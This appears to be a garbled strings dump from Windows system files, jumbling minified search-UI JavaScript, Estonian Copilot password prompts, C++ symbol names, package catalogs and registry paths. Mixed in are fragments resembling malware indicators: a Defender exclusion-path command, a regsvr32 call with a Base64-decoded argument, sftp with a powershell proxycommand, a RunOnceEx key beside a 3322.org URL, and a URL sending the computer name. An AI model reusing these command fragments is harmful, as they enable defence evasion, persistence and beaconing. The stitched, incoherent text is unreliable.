n.getSyntheticSuggestion(t,i,"OWA",{content:"&#xE715",type:2},r?8:12,n.Host.getLocString("SearchInOutlookWeb"),!0,()=>{r?n.shouldLaunchSuggWithDefaultBrowser()?n.Host.launchUrlWithDefaultBrowserAsync("https://outlook.office.com/owa"):n.Host.launchUrlWithHttpProtocolAsync("https://outlook.office.com/owa",{medium:"MSBLink"}):n.shouldLaunchSuggWithDefaultBrowser()?n.Host.launchUrlWithDefaultBrowserAsync("https://outlook.live.com/owa"):n.Host.launchUrlWithEdgeProtocolAsync("https://outlook.live.com/owa",{medium:"MSBLink"})})}getStoreSearch(t,i){return n.getSyntheticSuggestion(t,i,"STS",{content:"&#xEA96",type:2},3,n.Host.getLocString("SearchForAppsInTheStore"),!0,(t,i)=>n.Host.launchStoreSearchAsync(i.queryToFetch))}getCopilotSearch(t,i){const r=n.Host.getSelectedAssistantApp();let u=null;if(r)if(n.enableSPSE()){let f=n.Host.getLocString("AskAssistantApp",r.displayName);(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(60181467))&&r.suggestionAction!=""&&(f=r.suggestionAction);u=n.getSyntheticSuggestionWithGetIcon(t,i,"CP",null,n.Host.getCommercialAssistantIcon,26,f,!1,(t,i)=>n.Host.launchUriAsync(`${r.launchSuggestionUri}${i.queryToFetch}&form=COTBLF`))}else u=n.getSyntheticSuggestion(t,i,"CP",{type:2,content:"&#xE901"},26,n.Host.getLocString("Aemetry)=="function"&&n.safeExecute(()=>{var i,r;let u=t.impressionId;if(n.config.ssrBugFixes){let r=Object.assign({},t);t.suggestionList&&t.suggestionList.length>0&&(r.suggestions=n.InstrumentationHelper.buildNestedSuggestionGroups(t.suggestionList));delete r.suggestionList;(i=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||i===void 0?void 0:i.logCriticalUserEngagementTelemetry(JSON.stringify(r),u)}else(r=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||r===void 0?void 0:r.logCriticalUserEngagementTelemetry(JSON.stringify(t),u)},"logSessionBasedUserEngagementTelemetry")}logQFSuggestionsIndexerMatchTypeList(t){var i,r,u;typeof((u=(r=(i=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||i===void 0?void 0:i.queryFormulationView)===null||r===void 0?void 0:r.deviceSearch)===null||u===void 0?void 0:u.onDeviceItemsDisplayed)=="function"&&n.safeExecute(()=>{var n,i,r;(r=(i=(n=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||n===void 0?void 0:n.queryFormulationView)===null||i===void 0?void 0:i.deviceSearch)===null||r===void 0?void 0:r.onDeviceItemsDisplayed(t)},"logQFSuggestionsIndexerMatchTypeList")}logPreviewPaneItemClickMeasure(t,i){n.safeExecute(()=>{if(!n.isNullOrUndefined(i)&&typeof i.onItemAction=="function"){let r="Launch";if(!n.isNullOrUndefined(t===null||t===void 0?void 0:t.vbt)){r=n.JumplistActionItemType[t.vbt];const i="S_";r.startsWith(i)&&(r=r.substring(i.length));r==="Open"&&(r="Launch")}i.onItemAction(r)}},"logPreviewPaneItemClickMeasure")}logPreviewPaneDwellMeasure(t){n.safeExecute(()=>{let n=t===null||t===void 0?void 0:t.deviceItem;typeof(n===null||n===void 0?void 0:n.onItemAction)=="function"&&(n===null||n===void 0?void 0:n.onItemAction("Dwell"))},"logPreviewPaneDwellMeasure")}logFlightState(n,t){this.logSingleMeasure("BingExpFlight",this._currentRawClientImpressionGuid,`FX:${t?1:0}${n}`)}}n.WindowsTelemetry=t}(WSB||(WSB={})),function(n){const t=/[+.\\*?\[\]()]/g,i={".":"\\.","+":"\\+","*":"\\*","\\":"\\\\","?":"\\?","[":"\\[","]":"\\]","(":"\\(",")":"\\)"},r=/^(?:https?:\/\/)?(.*)/,u=/^(?:(?:https?:\/\/(?:www\.)?)|(?:www\.))(.*)/,f=/^\s+/;class e{constructor(){n.Host.bindKeyDown(t=>{n.isUpOrDownKey(t)&&this.reset()});n.Host.bindQueryChangedOrInitialized(n=>{this._currentQuery=n,!this._fullAutoCompletedQuery||this._fullAutoCompletedQuery.startsWith(n.originalQuery)||n.originalQuery.startsWith(this._fullAutoCompletedQuery)||this.reset()})}apply(t){if(t.query!=this._autoCompletedQuery){let i=this._currentQuery.originalQuery;if(n.Host.setAutoCompleteQueryText(""),this._currentQuery.originalCursorPosition===i.length){let u=this._currentQuery.scopePrefix?this._currentQuery.scopePrefix.length+1:0,n=i.substr(u).replace(f,"").toLowerCase(),r=t.query.toLowerCase();if(n!==r){let f=1,u=this.fullAutoCompleteOffset(r,n);if(u<0&&t.url&&(u=this.infixAutoCompleteOffset(r,n),f=2),u<0&&(u=this.directNavAutoCompleteOffset(r,n)),u>=0){this.setAutoCompletedQuery(i,t.query,u);t.autoCompleteType=f;return}}}this._autoCompletedQuery&&(this.reset(),n.Host.setAutoCompleteQueryText(i))}}reset(){this._autoCompletedQuery=null;this._fullAutoCompletedQuery=null}fullAutoCompleteOffset(n,t){let i=n.startsWith(t);return i?t.length:-1}infixAutoCompleteOffset(n,u){let f=n.search("[ .:,\\\\/+_&-]"+u.replace(t,n=>i[n]));if(f>0){let t=n.substring(0,f+1).match(r)[1],i=t?t.match(/[ .:,\\/+_&-]+/g).length+1:1;if(i<3)return f+1+u.length}return-1}directNavAutoCompleteOffset(n,t){let i=t.match(u);if(i){let t=i[1];if(t.length>0&&n.startsWith(i[1]))return t.length}return-1}setAutoCompletedQuery(t,i,r){let u=t+i.slice(r);n.Host.setAutoCompleteQueryText(u);this._autoCompletedQuery=i;this._fullAutoCompletedQuery=u}}n.WSBAutoComplete=e}(WSB||(WSB={})),function(n){var t;(function(t){function i(n,t){return!n.suppressed&&n.handoffType==0&&!n.htmlContent&&n.query.toLocaleLowerCase()==t.queryToFetch.toLocaleLowerCase()}function f(n){return n.length>=2&&n[0].type=="MB"&&n[1].type=="MB"}fu
?OnWindowStyleChanged@HWNDHost@DirectUI@@UAEXIPBUtagSTYLESTRUCT@@@Z
?OnAdjustWindowSize@HWNDHost@DirectUI@@UAEHHHI@Z
s\system32\cmd)
%:\windows\.*%.bat
ksikasju. Selle lubamiseks sisestage oma Windowsi parool.Microsoft Copilot proovib paroole kuvada. Selle lubamiseks sisestage oma Windowsi parool.Microsoft Copilot proovib paroole kopeerida. Selle lubamiseks tippige oma Windowsi parool.Microsoft Copilot proovib paroole redigeerida. Selle lubamiseks tippige oma Windowsi parool.Microsoft Copilot soovib teie paroole eksportida. Selle lubamiseks sisestage oma Windowsi parool.Microsoft Copilot proovib paroole importida. Selle lubamiseks sisestage oma Windowsi parool.Microsoft Copilot soovib kustutada teie paroolihalduri andmed. Selle lubamiseks tippige oma Windowsi parool.Microsoft Copilot proovib asendada olemasolevaid paroole. Selle lubamiseks tippige oma Windowsi parool.Selles arvutis on juba Microsoft Copiloti uuem versioon. Kui tarkvara ei t
ttu. Laadige Microsoft Copilot uuesti alla.Microsoft Copiloti kasutamiseks on vaja Windows 10 v
X").regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\sex.exe\", "M" + "s
windows.autoPlayContent
aa^windows.appExecutionAlias
ab^windows.protocol
b2^windows.protocol
WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS=--disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --edge-webview-foreground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)"  --enable-features=msEdgeFluentOverlayScrollbar
windows11-64
Windows 11 Pro, 64-bit (Build 26200.7840)
architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
windows\system
&s\system32\openssh\sftp.exe-oproxycommand="powershell
           targetNamespace="http://schemas.microsoft.com/appx/manifest/preview/windows10/security"
           xmlns="http://schemas.microsoft.com/appx/manifest/preview/windows10/security"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/preview/windows10/security/2"
           xmlns="http://schemas.microsoft.com/appx/manifest/preview/windows10/security/2"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
WindowsGetStringRawBuffer
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|ServiceName
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|ProductName
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\009|System Up Time
WINDOWS11
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|DriverDate
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|Manufacturer
TMP=C:\WINDOWS\TEMPB
OS=Windows_NT
WINDOWS\
OS=Windows_NTk
get-windowsoptionalfeature
I.exec(windir&"\system32\regsvr32.exe"&tMpCommon.Base64Decode("xetay0vya0vrcfiuwlzq")
(ROc:\windows\system32
windows.storage.dll
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
copy /y %windir%\system32\
9d^com.microsoft.windows.extensions.xaml.featurediscoverability
com.microsoft.windows.extensions.xaml.featurediscoverability
9e^com.microsoft.windows.extension.shellhost.component
a0^com.microsoft.windows.input.app
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-Security-UserMgr-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-PhotoBasic-Feature-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-User-Choice-Protection-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|00.1742.cat|
Win32Registry|Software\Microsoft\Windows\CurrentVersion|RegisteredOrganization
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId
WindowsY
c:\windows\system32\cmd.exe
c:\windows\system32\
2t.pm:8080/agbvffdh8knbahpst5j/!computername!"%windir%\system32\shell32.dll
WindowsUICompositionDCompCreate
add-mppreference-exclusionpath'c:\windows\temp
%c:\windows\system32\windowspowershell\v1.0\
windir=C:\WINDOWS
LE=C:\WINDOWS\Se
windir=C:\WINDOWS
	COMPUTERNAME=WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\WindowsApps
SystemRoot=C:\WINDOWS
*.tmp|%WINDIR%\System32\backgroundTaskHost.S
qWindows
="c:\windows\syswow64
windows.gamingApp
1fd^com.microsoft.windows.dontmaximizeonsmallscreen
com.microsoft.windows.dontmaximizeonsmallscreen
235^com.microsoft.windows.console.host
com.microsoft.windows.console.host
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|ProductName
oftware\Microsoft\Windows NT
e:1},prefixesLocString:"ScopeWeb",enabledDataSources:[{dataSource:"MRU",suggestionIsEnabled:(n,t)=>t==1},{dataSource:"MRS",suggestionIsEnabled:(n,t)=>t==0,conditionalRequirements:()=>n.config.enableZeroInputSearchHomeWeb},{dataSource:"Web",suggestionIsEnabled:(t,i)=>n.contains([0,13,14,10,5,1],i),requirements:[1,2]},{dataSource:"IMS",requirements:[1,2],conditionalRequirements:t=>{var i;return n.config.enableImageSearch&&((i=t===null||t===void 0?void 0:t.queryToFetch)===null||i===void 0?void 0:i.length)>n.config.minQueryLengthForImageSearch}},{dataSource:"PP",suggestionIsEnabled:(n,t)=>t==1},{dataSource:"ANA",suggestionIsEnabled:(n,t)=>t==1&&(n=="ANAH"||n=="ANAR"||n=="ANATH"),requirements:[1,2],conditionalRequirements:()=>n.config.topHitMuse},{dataSource:"LAS",requirements:[2],conditionalRequirements:t=>n.isLocalASEnabled(t)},l(!0,i.Web),],enabledDataSourcesForZeroInput:[{dataSource:"MRU",suggestionIsEnabled:(n,t)=>t==1},{dataSource:"MRS",suggestionIsEnabled:(n,t)=>t==0,conditionalRequirements:()=>n.config.enableZeroInputSearchHomeWeb||n.config.enableZIWebScopeMruDsb&&(n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())!==1},{dataSource:"Web",requirements:[1,2],conditionalRequirements:()=>ct()},],webSyntheticEnabled:t=>t.queryToFetch&&n.isBingEnabled(),getEmptyZIMessages:()=>f(i.Web,"EmptyWebMessage","EmptyWebSubMessage")};n.config.disablePathCompletion||(n.ScopeConfig[i.PathCompletion]={icon:{content:"&#xE782",type:n.config.undocked?8:2,needsAccentColor:!0},scopeNameLocString:n.config.pathCompletionReplacesAll?"PathCompletionScopeName":null,prefixesLocString:null,enabledDataSources:[{dataSource:"PT"},{dataSource:"CG"},],enabledDataSourcesForZeroInput:[],getEmptyZIMessages:null});n.config.deprecateMusicEmailsWorkScopes||(n.ScopeConfig[i.Emails]={icon:{content:"&#xE715",type:2},prefixesLocString:"ScopeEmails",enabledDataSources:[r("SSEE",1,!0),r("SSEC",2,!0),],enabledDataSourcesForZeroInput:[],showUpsellOnSuggestionsList:()=>a(),getEmptyZIMessages:()=>s(i.Emails,!1)});n.ScopeConfig[i.People]={icon:{content:"&#xE716",type:2},prefixesLocString:"ScopePeople",enabledDataSources:[r("SSUE",1,!0,()=>!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isTenantMsbEnabled())),r("SSUC",2,!0),l(!0),{dataSource:"CSTORE"},],enabledDataSourcesForZeroInput:[r("SSUE",1,!0,()=>vr()),r("SSUC",2,!0),],showUpsellOnSuggestionsList:()=>a(),getEmptyZIMessages:()=>s(i.People,!1)};n.config.deprecateMusicEmailsWorkScopes||(n.ScopeConfig[i.Work]={icon:{content:"&#xE821",type:2},prefixesLocString:"ScopeWork",enabledDataSources:[r("SSUE",1,!0,()=>!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isTenantMsbEnabled())),r("SSUC",2,!0),l(!0),],enabledDataSourcesForZeroInput:[{dataSource:"BPQ",groupType:t.BingPopularQueries,suggestionGroupToggler:h(t.BingPopularQueries),conditionalRequirements:()=>n.canShowBingPopularQueries()},{dataSource:"DFLS",groupType:t.CuratedSuggestions,suggestionGroupToggler:h(t.CuratedSuggestions),conditionalRequirements:t=>n.canShowCuratedSuggestionInEnterpriseScope(t)},{dataSource:"MWS",groupType:t.MRUHistory,suggestionIsEnabled:()=>!0,conditionalRequirements:t=>n.canShowWorkSearchMru(t)},{dataSource:"MRU",groupType:t.MRUHistory,conditionalRequirements:t=>n.enableMRUSearchHome()&&n.canShowMruInWorkScopeZi(t)},{dataSource:"MPP",groupType:t.MRUHistory,conditionalRequirements:t=>n.enableMRUSearchHome()&&n.canShowMruInWorkScopeZi(t)},{dataSource:"MST",groupType:t.MRUHistory,conditionalRequirements:t=>n.enableMRUSearchHome()&&n.canShowMruInWorkScopeZi(t)},{dataSource:"MFF",suggestionIsEnabled:()=>!0,groupType:t.MRUHistory,conditionalRequirements:t=>n.enableMRUSearchHome()&&n.canShowMruInWorkScopeZi(t)},{dataSource:"MRS",groupType:t.MRUHistory,requirements:[1,2],conditionalRequirements:t=>n.enableMRUSearchHome()&&n.canShowMruInWorkScopeZi(t)},{dataSource:"MSBC",groupType:t.QuickWorkSearch,conditionalRequirements:t=>n.canShowQuickWorkSearch()&&n.canShowMsbSearchHomeInWorkScopeZi(t)},c("SSUE",t.RecommendedDocs,1,!0,t=>ht()&&n.canShowMsbSearchHomeInWorkScopeZi(t)),],geTB
\\.\root\Microsoft\Windows\Storage:__Win32Provider.Name="iSCSIWMIv2"
\WINDOWS\resources\lyskopi\fallossymbolet.ini
c:\windows\ld
c:\windows\pp
c:\windows\yb
c:\windows\mstre
c:\windows\higeorge
c:\windows\freddy
c:\windows\kenny
c:\windows\tag
c:\windows\romeo
c:\windows\twitty
c:\windows\nl
c:\windows\hippy
c:\windows\sber
c:\windows\bill
c:\windows\andy
c:\windows\mike
c:\windows\jjp
.?AU?$__abi_FunctorCapture@V<lambda_40a907751731a944f337e5060dd2e5f7>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
ctory@Foundation@Windows@4@@impl@winrt@@
.?AU?$producer_convert@UServicesPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce_base@UServicesPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UServicesPageViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIServicesPageViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer@UServicesPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UServicesPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@UServicesPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UServicesPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$implements@UServicesPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
.?AU?$producers_base@UServicesPageViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UServicesPageViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$producer_convert@UServicesPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$implements@UStartupAppsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIStartupAppsPageViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$__abi_FunctorCapture@V<lambda_dfa33b93047b58ac1d6292600c2590ef>@@XPE$AAU?$IAsyncOperation@W4BackgroundAccessStatus@Background@ApplicationModel@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Ref_count_obj@U?$_Task_impl@W4BackgroundAccessStatus@Background@ApplicationModel@Windows@@@details@Concurrency@@@std@@
.?AU?$__abi_FunctorCapture@V<lambda_d58d6e8ff64c44c98e65fb9939b5ed27>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
.windowstyle="7"
.?AU?$consume_Windows_UI_Xaml_IUIElement3@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UHomePage@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UHomePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're n
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
\down08.3322.org/num.asp\windows\currentversion\runonceex\ctfmon
temRoot%\system32\mswsock.dll
windowstyle
.initwithpath(\"c:\\\\windows
WindowsInternal.ComposableShell.Experiences.TextInput.Common.Grabber
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputDelegationClient
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputDelegationManager
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputHub
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputIndicatorButton
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputSwitchListItem
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputSwitchListItemControl
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputSwitchListViewModel
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputSwitcher
WindowsInternal.ComposableShell.Experiences.TextInput.Common.InputSwitcherItemSelectedEventArgs
StringMapWindowsapplyctorN
\windows\system32\sys.dat
\windows\system32\richlog.dat
\windows\system32\flash.dat
\windows\system32\main.dat
\windows\system32\actionlist.xml
\windows\system32\wbem\microsoft.net.props
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
